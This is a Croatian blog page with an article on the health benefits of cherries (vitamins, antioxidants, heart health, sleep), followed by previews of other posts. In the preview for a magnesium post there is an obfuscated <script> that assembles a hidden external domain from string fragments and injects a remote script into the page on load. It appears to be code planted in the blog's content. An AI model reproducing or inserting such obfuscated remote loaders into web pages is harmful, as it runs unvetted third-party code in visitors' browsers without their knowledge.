ZAŠTO SU TREŠNJE ZDRAVE? 🍒





Zašto su trešnje zdrave?



Osim što osvajaju okusom, trešnje nude i brojne zdravstvene prednosti zahvaljujući bogatstvu vitamina, minerala i antioksidansa. Donosimo razloge zbog kojih ih vrijedi uvrstiti na jelovnik dok im traje sezona, kao i nekoliko ideja kako u njima uživati na različite načine.




Više od slatkog zalogaja: Nutritivna snaga trešanja

Iako ih najčešće povezujemo s desertima i ljetnim uživanjem, trešnje su zapravo vrlo hranjivo voće. Imaju malo kalorija, a bogate su vlaknima, vitaminima i mineralima. U jednoj šalici očišćenih trešanja nalazi se oko 97 kalorija, tri grama vlakana te vrijedne količine vitamina C, kalija, bakra i mangana. Vitamin C važan je za imunitet i zdravlje kože, dok kalij igra ključnu ulogu u radu mišića, živčanog sustava i održavanju normalnog krvnog tlaka.

Njihova posebna vrijednost krije se u biljnim spojevima koji im daju prepoznatljivu crvenu boju. Riječ je o polifenolima, posebno antocijaninima, snažnim antioksidansima koji pomažu organizmu u borbi protiv oksidativnog stresa. Taj proces povezuje se sa starenjem stanica i razvojem brojnih kroničnih bolesti. Upravo zato prehrana bogata ovim spojevima može imati pozitivan učinak na cjelokupno zdravlje.



Pomoć sportašima i saveznik zdravog srca

Zahvaljujući svojim protuupalnim svojstvima, trešnje su omiljene i među sportašima. Brojna istraživanja pokazala su da proizvodi od trešanja, osobito sok od višnje, mogu pomoći bržem oporavku nakon intenzivne fizičke aktivnosti, smanjiti osjećaj bolova u mišićima i pridonijeti njihovoj boljoj funkciji.

Trešnje su dobre i za zdravlje srca. Kalij pomaže u regulaciji krvnog tlaka, dok antioksidansi štite krvne žile i srce od upalnih procesa i oštećenja. Redovita konzumacija namirnica bogatih polifenolima povezuje se s manjim rizikom od razvoja kardiovaskularnih bolesti.

Zanimljivo je i da se trešnje često spominju u istraživanjima vezanima uz artritis i giht. Njihovo protuupalno djelovanje može pomoći u ublažavanju tegoba povezanih s upalama zglobova, a poznato je i da mogu pridonijeti smanjenju razine mokraćne kiseline u organizmu.

Još jedan razlog više za uživanje u trešnjama krije se u njihovom utjecaju na san. Sadrže melatonin, hormon koji sudjeluje u regulaciji ciklusa spavanja i budnosti, pa mnogi upravo sok od višnje biraju kao prirodnu pomoć za mirniji i kvalitetniji san.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više